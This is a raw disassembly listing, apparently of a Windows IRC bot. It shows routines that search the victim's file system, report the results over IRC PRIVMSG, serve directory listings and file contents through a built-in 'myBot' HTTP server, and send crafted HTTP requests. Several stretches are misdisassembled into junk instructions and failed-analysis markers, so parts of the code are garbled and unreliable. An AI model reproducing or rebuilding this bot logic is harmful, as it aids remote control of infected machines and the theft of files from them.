[ebp+var_18F0] push offset asc_41F6AC ; "\r\n" push eax call sub_410930 pop ecx test eax, eax pop ecx jz short loc_403BBB loc_403B87: ; CODE XREF: sub_4038A7+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_410590 add esp, 0Ch or esi, 0FFFFFFFFh loc_403B9C: ; CODE XREF: sub_4038A7+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_410B60 cmp [ebp+arg_0], eax pop ecx jb loc_403AF7 jmp loc_403C78 ; --------------------------------------------------------------------------- loc_403BBB: ; CODE XREF: sub_4038A7+2DEj xor ecx, ecx test ebx, ebx jbe short loc_403C05 lea eax, [ebp+var_134] loc_403BC7: ; CODE XREF: sub_4038A7+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_403BD8 inc ecx add eax, 4 cmp ecx, ebx jb short loc_403BC7 jmp short loc_403C08 ; --------------------------------------------------------------------------- loc_403BD8: ; CODE XREF: sub_4038A7+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_403BFC lea eax, [ebp+ecx*4+var_134] loc_403BE6: ; CODE XREF: sub_4038A7+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_403BE6 loc_403BFC: ; CODE XREF: sub_4038A7+336j dec ebx mov [ebp+var_138], ebx jmp short loc_403C08 ; --------------------------------------------------------------------------- loc_403C05: ; CODE XREF: sub_4038A7+318j mov esi, [ebp+var_4] loc_403C08: ; CODE XREF: sub_4038A7+32Fj ; sub_4038A7+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_403C71 lea eax, [ebp+var_360] push eax call sub_410B60 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_410B60 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_403C71 and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call ds:dword_43082C ; ioctlsocket push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call loc_403E84 add esp, 14h jmp short loc_403C78 ; --------------------------------------------------------------------------- loc_403C71: ; CODE XREF: sub_4038A7+369j ; sub_4038A7+38Fj push esi call ds:dword_430828 ; closesocket loc_403C78: ; CODE XREF: sub_4038A7+11Dj ; sub_4038A7+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_4039B4 jmp loc_40397E ; --------------------------------------------------------------------------- loc_403C8D: ; CODE XREF: sub_4038A7+102j mov edi, [ebp+var_C] xor ebx, ebx loc_403C92: ; CODE XREF: sub_4038A7+6Aj ; sub_4038A7+92j ... call ds:dword_430730 ; WSAGetLastError push eax lea eax, [ebp+var_8F0] push offset unk_41F664 push eax call sub_41050B add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_403CD8 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_40E367 add esp, 14h loc_403CD8: ; CODE XREF: sub_4038A7+40Cj lea eax, [ebp+var_8F0] push eax call sub_407E0E pop ecx push edi call ds:dword_430828 ; closesocket push [ebp+var_254] call sub_4102D3 pop ecx push ebx call near ptr 3D0000h pop ebp pop edi pop esi pop ebx sub_4038A7 endp ; sp-analysis failed loc_403D02: ; DATA XREF: seg000:004040CAo push ebp mov ebp, esp mov eax, 1654h call sub_410BE0 mov eax, [ebp+8] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp-44Ch] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp-3C8h] push eax lea eax, [ebp-550h] push eax call sub_41050B lea eax, [ebp-2C4h] push eax lea eax, [ebp-654h] push eax call sub_41050B xor edi, edi add esp, 10h cmp [ebp-0A4h], edi jz short loc_403D67 push offset aTextHtml ; "text/html" jmp short loc_403D6C ; --------------------------------------------------------------------------- loc_403D67: ; CODE XREF: seg000:00403D5Ej push offset aApplicationOct ; "application/octet-stream" loc_403D6C: ; CODE XREF: seg000:00403D65j lea eax, [ebp-9Ch] push eax call sub_41050B pop ecx lea eax, [ebp-68h] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call near ptr 3D0000h db 2Eh lea eax, [ebp-20h] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call near ptr 3D0000h add ecx, [ebp-427C1FBBh] dec eax ; --------------------------------------------------------------------------- db 3 dup(0FFh) ; --------------------------------------------------------------------------- call dword ptr [eax-73h] inc ebp cwde push eax lea eax, [ebp-20h] push eax lea eax, [ebp-68h] push eax lea eax, [ebp-20h] push eax lea eax, [ebp-68h] push eax jnz short loc_403DE5 lea eax, [ebp-9Ch] push eax lea eax, [ebp-1654h] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41050B add esp, 24h jmp short loc_403E06 ; --------------------------------------------------------------------------- loc_403DE5: ; CODE XREF: seg000:00403DC6j push dword ptr [ebp-0B8h] lea eax, [ebp-9Ch] push eax lea eax, [ebp-1654h] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41050B add esp, 28h loc_403E06: ; CODE XREF: seg000:00403DE3j lea eax, [ebp-1654h] push edi push eax call sub_410B60 pop ecx push eax lea eax, [ebp-1654h] push eax push dword ptr [ebp-44Ch] call ds:dword_4307E0 ; send cmp [ebp-0A4h], edi jnz short loc_403E46 lea eax, [ebp-550h] push eax push dword ptr [ebp-44Ch] call sub_4047B6 pop ecx pop ecx jmp short loc_403E63 ; --------------------------------------------------------------------------- loc_403E46: ; CODE XREF: seg000:00403E2Ej lea eax, [ebp-654h] push eax push edi push dword ptr [ebp-44Ch] lea eax, [ebp-550h] push eax call sub_404134 add esp, 10h loc_403E63: ; CODE XREF: seg000:00403E44j push dword ptr [ebp-44Ch] call ds:dword_430828 ; closesocket push dword ptr [ebp-0B4h] call sub_4102D3 pop ecx push edi call near ptr 3D0000h fstp qword ptr [edi+5Eh] loc_403E84: ; CODE XREF: sub_4038A7+3C0p push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp-210h] push edi push eax mov [ebp-4], edi call sub_410590 mov eax, [ebp+10h] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_403EBA push eax push offset aS_2 ; "\\%s" jmp short loc_403EC3 ; --------------------------------------------------------------------------- loc_403EBA: ; CODE XREF: seg000:00403EB0j push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_403EC3: ; CODE XREF: seg000:00403EB8j lea eax, [ebp-10Ch] push eax call sub_41050B add esp, 0Ch lea eax, [ebp-10Ch] xor esi, esi xor ebx, ebx push eax call sub_410B60 test eax, eax pop ecx jbe short loc_403F5E mov dword ptr [ebp+10h], 2 loc_403EEE: ; CODE XREF: seg000:00403F5Cj lea eax, [ebp-10Ch] push eax call sub_410B60 cmp [ebp+10h], eax pop ecx jnb short loc_403F2E cmp byte ptr [ebp+esi-10Ch], 25h jnz short loc_403F2E cmp byte ptr [ebp+esi-10Bh], 32h jnz short loc_403F2E cmp byte ptr [ebp+esi-10Ah], 30h jnz short loc_403F2E inc esi mov byte ptr [ebp+ebx-210h], 20h inc esi add dword ptr [ebp+10h], 2 jmp short loc_403F48 ; --------------------------------------------------------------------------- loc_403F2E: ; CODE XREF: seg000:00403EFEj ; seg000:00403F08j ... mov al, [ebp+esi-10Ch] cmp al, 2Fh jnz short loc_403F3E push 5Ch pop eax jmp short loc_403F41 ; --------------------------------------------------------------------------- loc_403F3E: ; CODE XREF: seg000:00403F37j movsx eax, al loc_403F41: ; CODE XREF: seg000:00403F3Cj mov [ebp+ebx-210h], al loc_403F48: ; CODE XREF: seg000:00403F2Cj lea eax, [ebp-10Ch] inc esi inc dword ptr [ebp+10h] push eax inc ebx call sub_410B60 cmp esi, eax pop ecx jb short loc_403EEE loc_403F5E: ; CODE XREF: seg000:00403EE5j lea eax, [ebp-210h] push eax lea eax, [ebp-314h] push dword ptr [ebp+0Ch] push offset aSS_2 ; "%s%s" push eax call sub_41050B lea eax, [ebp-314h] push offset asc_41F964 ; "\n" push eax call sub_411C60 add esp, 18h lea eax, [ebp-314h] push eax call ds:dword_41C07C ; GetFileAttributesA push 1 cmp eax, 10h pop esi jz short loc_403FAC cmp eax, 0FFFFFFFFh jnz short loc_403FAF push dword ptr [ebp+8] jmp short loc_40402B ; --------------------------------------------------------------------------- loc_403FAC: ; CODE XREF: seg000:00403FA0j mov [ebp-4], esi loc_403FAF: ; CODE XREF: seg000:00403FA5j cmp byte ptr [ebp+ebx-211h], 5Ch jnz short loc_403FBC mov [ebp-4], esi loc_403FBC: ; CODE XREF: seg000:00403FB7j mov ebx, [ebp+8] cmp [ebp-4], edi mov [ebp-6C4h], ebx mov [ebp-318h], edi jz short loc_404036 cmp [ebp+14h], edi jz short loc_40402A lea eax, [ebp-314h] push offset asc_41F960 ; "*" push eax call sub_411B80 lea eax, [ebp-314h] push eax lea eax, [ebp-640h] push eax call sub_41050B lea eax, [ebp-210h] push eax call sub_404873 lea eax, [ebp-210h] push eax lea eax, [ebp-53Ch] push eax call sub_41050B add esp, 1Ch or dword ptr [ebp-330h], 0FFFFFFFFh mov [ebp-31Ch], esi jmp short loc_404085 ; --------------------------------------------------------------------------- loc_40402A: ; CODE XREF: seg000:00403FD3j push ebx loc_40402B: ; CODE XREF: seg000:00403FAAj call ds:dword_430828 ; closesocket jmp loc_40412D ; --------------------------------------------------------------------------- loc_404036: ; CODE XREF: seg000:00403FCEj push edi push edi push 3 push edi push esi lea eax, [ebp-314h] push 80000000h push eax call ds:dword_41C078 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_404085 lea eax, [ebp-314h] push eax lea eax, [ebp-640h] push eax call sub_41050B pop ecx mov [ebp-31Ch], edi pop ecx push edi push esi call near ptr 3D0000h rcl byte ptr [esi-77h], cl test edx, eax cld ; --------------------------------------------------------------------------- db 3 dup(0FFh) ; --------------------------------------------------------------------------- adc eax, offset dword_41C070 loc_404085: ; CODE XREF: seg000:00404028j ; seg000:00404053j mov esi, [ebp+18h] lea eax, [ebp-8C4h] push esi push offset unk_41F91C push eax call sub_41050B push edi lea eax, [ebp-8C4h] push 3 push eax call sub_40FFB7 mov [ebp-32Ch], eax imul eax, 234h add esp, 18h mov ds:dword_4358DC[eax], esi lea eax, [ebp-8] push eax lea eax, [ebp-6C4h] push edi push eax push offset loc_403D02 push edi push edi call ds:dword_41C06C ; CreateThread mov ecx, [ebp-32Ch] imul ecx, 234h cmp eax, edi mov ds:dword_4358EC[ecx], eax jz short loc_4040FF loc_4040ED: ; CODE XREF: seg000:004040FDj cmp [ebp-318h], edi jnz short loc_40412D push 5 call ds:dword_41C058 ; Sleep jmp short loc_4040ED ; --------------------------------------------------------------------------- loc_4040FF: ; CODE XREF: seg000:004040EBj push ebx call ds:dword_430828 ; closesocket call ds:dword_41C068 ; RtlGetLastWin32Error push eax lea eax, [ebp-8C4h] push offset unk_41F8D0 push eax call sub_41050B lea eax, [ebp-8C4h] push eax call sub_407E0E add esp, 10h loc_40412D: ; CODE XREF: seg000:00404031j ; seg000:004040F3j pop edi pop esi xor eax, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404134 proc near ; CODE XREF: seg000:00403E5Bp ; seg000:0040CF7Fp var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_75 = byte ptr -75h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_410590 mov edi, [ebp+arg_0] push offset asc_41F964 ; "\n" push edi call sub_411C60 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_404193 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_410A8A add esp, 14h jmp loc_404290 ; --------------------------------------------------------------------------- loc_404193: ; CODE XREF: sub_404134+3Aj cmp [ebp+arg_C], ebx push edi jz loc_404276 call sub_410B60 mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_410A8A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_410B60 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4307E0 ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_410A8A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_410B60 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4307E0 ; send push edi call sub_410B60 push 3Ch push 96h mov byte ptr [eax+edi], 2Ah push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_410A8A add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_410B60 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4307E0 ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_410A8A add esp, 0Ch jmp short loc_404290 ; --------------------------------------------------------------------------- loc_404276: ; CODE XREF: sub_404134+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_410A8A add esp, 10h loc_404290: ; CODE XREF: sub_404134+5Aj ; sub_404134+140j lea eax, [ebp+var_248] push ebx push eax call sub_410B60 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4307E0 ; send cmp [ebp+arg_C], ebx jz short loc_404328 push [ebp+arg_C] call sub_410B60 cmp eax, 2 pop ecx jbe short loc_404328 push [ebp+arg_C] call sub_410B60 sub eax, 3 pop ecx jz short loc_4042DC loc_4042D0: ; CODE XREF: sub_404134+1A6j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_4042DC dec eax jnz short loc_4042D0 loc_4042DC: ; CODE XREF: sub_404134+19Aj ; sub_404134+1A3j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_411D00 lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_410A8A add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_410B60 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4307E0 ; send loc_404328: ; CODE XREF: sub_404134+17Ej ; sub_404134+18Cj lea eax, [ebp+var_388] push eax push edi call ds:dword_41C090 ; FindFirstFileA lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call ds:dword_41C08C ; FindNextFileA test eax, eax jz loc_404719 mov edi, 1FFh loc_404354: ; CODE XREF: sub_404134+5DFj cmp [ebp+var_388], ebx jz loc_404701 lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_410930 pop ecx test eax, eax pop ecx jz loc_404701 lea eax, [ebp+var_35C] push offset a__0 ; "." push eax call sub_410930 pop ecx test eax, eax pop ecx jz loc_404701 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call near ptr 3D0000h push cs lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call near ptr 3D0000h or ah, [esi-75h] inc ebp lock mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_4043C9 mov ecx, offset aAm ; "AM" loc_4043C9: ; CODE XREF: sub_404134+28Ej cmp ax, 0Ch movzx eax, ax jbe short loc_4043D5 sub eax, 0Ch loc_4043D5: ; CODE XREF: sub_404134+29Cj push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41050B add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_404582 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_404456 lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_410A8A lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push esi push eax call sub_410A8A add esp, 28h jmp loc_4046D2 ; --------------------------------------------------------------------------- loc_404456: ; CODE XREF: sub_404134+2DBj cmp [ebp+arg_C], ebx jz loc_404540 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_410A8A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_410B60 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4307E0 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS ; "%s%s/" push edi push eax call sub_410A8A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_410B60 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4307E0 ; send lea eax, [ebp+var_35C] push eax call sub_410B60 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_4044F6 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_4044FB ; --------------------------------------------------------------------------- loc_4044F6: ; CODE XREF: sub_404134+3B9j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_4044FB: ; CODE XREF: sub_404134+3C0j lea eax, [ebp+var_248] push edi push eax call sub_410A8A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_410B60 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4307E0 ; send lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4046C3 ; --------------------------------------------------------------------------- loc_404540: ; CODE XREF: sub_404134+325j lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_410A8A lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_40456D: ; CODE XREF: sub_404134+476j lea eax, [ebp+var_248] push esi push eax call sub_410A8A add esp, 24h jmp loc_4046D2 ; --------------------------------------------------------------------------- loc_404582: ; CODE XREF: sub_404134+2CFj inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_4045AC push ebx push [ebp+var_368] call sub_40867B push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_40456D ; --------------------------------------------------------------------------- loc_4045AC: ; CODE XREF: sub_404134+454j cmp [ebp+arg_C], ebx jz loc_4046AC push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_410A8A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_410B60 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4307E0 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_2 ; "%s%s" push edi push eax call sub_410A8A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_410B60 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4307E0 ; send lea eax, [ebp+var_35C] push eax call sub_410B60 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40464C push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_404651 ; --------------------------------------------------------------------------- loc_40464C: ; CODE XREF: sub_404134+50Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_404651: ; CODE XREF: sub_404134+516j lea eax, [ebp+var_248] push edi push eax call sub_410A8A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_410B60 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4307E0 ; send mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_248] push edi push eax call sub_410A8A add esp, 1Ch jmp short loc_4046D2 ; --------------------------------------------------------------------------- loc_4046AC: ; CODE XREF: sub_404134+47Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push esi loc_4046C3: ; CODE XREF: sub_404134+407j lea eax, [ebp+var_248] push eax call sub_410A8A add esp, 18h loc_4046D2: ; CODE XREF: sub_404134+31Dj ; sub_404134+449j ... lea eax, [ebp+var_248] push ebx push eax call sub_410B60 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4307E0 ; send cmp [ebp+arg_8], ebx jz short loc_404701 push 7D0h call ds:dword_41C058 ; Sleep loc_404701: ; CODE XREF: sub_404134+226j ; sub_404134+241j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call ds:dword_41C08C ; FindNextFileA test eax, eax jnz loc_404354 loc_404719: ; CODE XREF: sub_404134+215j push [ebp+arg_0] call near ptr 3D0000h mov cl, 39h pop ebp adc [ebp+esi+var_75], dh inc ebp clc cdq push edx push eax call sub_40867B pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_40867B pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41050B add esp, 14h jmp short loc_404790 ; --------------------------------------------------------------------------- cmp [ebp+arg_C], ebx jz short loc_404776 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41050B pop ecx pop ecx jmp short loc_404790 ; --------------------------------------------------------------------------- loc_404776: ; CODE XREF: sub_404134+62Bj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41050B add esp, 10h loc_404790: ; CODE XREF: sub_404134+626j ; sub_404134+640j lea eax, [ebp+var_248] push ebx push eax call sub_410B60 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4307E0 ; send pop edi pop esi xor eax, eax pop ebx leave retn sub_404134 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4047B6 proc near ; CODE XREF: seg000:00403E3Dp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call ds:dword_41C078 ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40486E push esi push ebx call near ptr 3D0000h inc edx cmp eax, esi mov [ebp+arg_4], eax jz short loc_404867 loc_4047FB: ; CODE XREF: sub_4047B6+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_410590 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_404818 mov edi, [ebp+arg_4] loc_404818: ; CODE XREF: sub_4047B6+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call ds:dword_41C098 ; SetFilePointer lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call ds:dword_41C094 ; ReadFile push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call ds:dword_4307E0 ; send cmp eax, 0FFFFFFFFh jnz short loc_404862 call ds:dword_430730 ; WSAGetLastError cmp eax, 2733h jnz short loc_404867 xor eax, eax loc_404862: ; CODE XREF: sub_4047B6+9Bj sub [ebp+arg_4], eax jnz short loc_4047FB loc_404867: ; CODE XREF: sub_4047B6+43j ; sub_4047B6+A8j push ebx call ds:dword_41C070 ; CloseHandle loc_40486E: ; CODE XREF: sub_4047B6+30j pop edi pop esi pop ebx leave retn sub_4047B6 endp ; =============== S U B R O U T I N E ======================================= sub_404873 proc near ; CODE XREF: seg000:00404000p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_410B60 test eax, eax pop ecx jbe short loc_40489C loc_404886: ; CODE XREF: sub_404873+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_404890 mov byte ptr [esi+edi], 2Fh loc_404890: ; CODE XREF: sub_404873+17j push edi inc esi call sub_410B60 cmp esi, eax pop ecx jb short loc_404886 loc_40489C: ; CODE XREF: sub_404873+11j mov eax, edi pop edi pop esi retn sub_404873 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4048A1 proc near ; CODE XREF: seg000:0040B5C5p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call ds:dword_430718 ; WSAStartup push 6 push 1 push 2 call ds:dword_430810 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_410590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call ds:dword_430794 ; ntohs push [ebp+arg_10] mov [ebp+var_E], ax call sub_40731F pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call ds:dword_430740 ; connect cmp eax, 0FFFFFFFFh jz short loc_40497E mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_40491A mov eax, offset dword_42F3E8 loc_40491A: ; CODE XREF: sub_4048A1+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_410A8A add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_410B60 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call ds:dword_4307E0 ; send push esi lea eax, [ebp+var_110] push edi push eax call sub_4105F0 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call ds:dword_4307AC ; recv pop esi loc_40497E: ; CODE XREF: sub_4048A1+6Bj push ebx call ds:dword_430828 ; closesocket call ds:dword_430700 ; WSACleanup lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41050B cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_4049BE push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40E367 add esp, 14h loc_4049BE: ; CODE XREF: sub_4048A1+102j pop edi pop ebx leave retn sub_4048A1 endp ; --------------------------------------------------------------------------- loc_4049C2: ; CODE XREF: seg000:loc_404EADp ; DATA XREF: seg000:00405101o ... push ebp mov ebp, esp sub esp, 884h push ebx push esi push edi mov edx, [ebp+8] mov esi, offset aOctet ; "octet" lea edi, [ebp-1Ch] movsd push 1 xor ebx, ebx movsw pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp-37Ch] push ebx push 2 rep movsd inc dword ptr [ebp-16Ch] push 2 mov [ebp-0Ch], eax mov [edx+2A0h], eax call ds:dword_430810 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-10h], edi jnz short near ptr loc_404A84+1 push 190h call ds:dword_41C058 ; Sleep call ds:dword_430730 ; WSAGetLastError push eax lea eax, [ebp-780h] push offset unk_41FF6C push eax call sub_41050B add esp, 0Ch cmp [ebp-0E0h], ebx jnz short loc_404A65 push ebx lea eax, [ebp-780h] push dword ptr [ebp-0E4h] push eax lea eax, [ebp-164h] push eax push dword ptr [ebp-37Ch] call sub_40E367 add 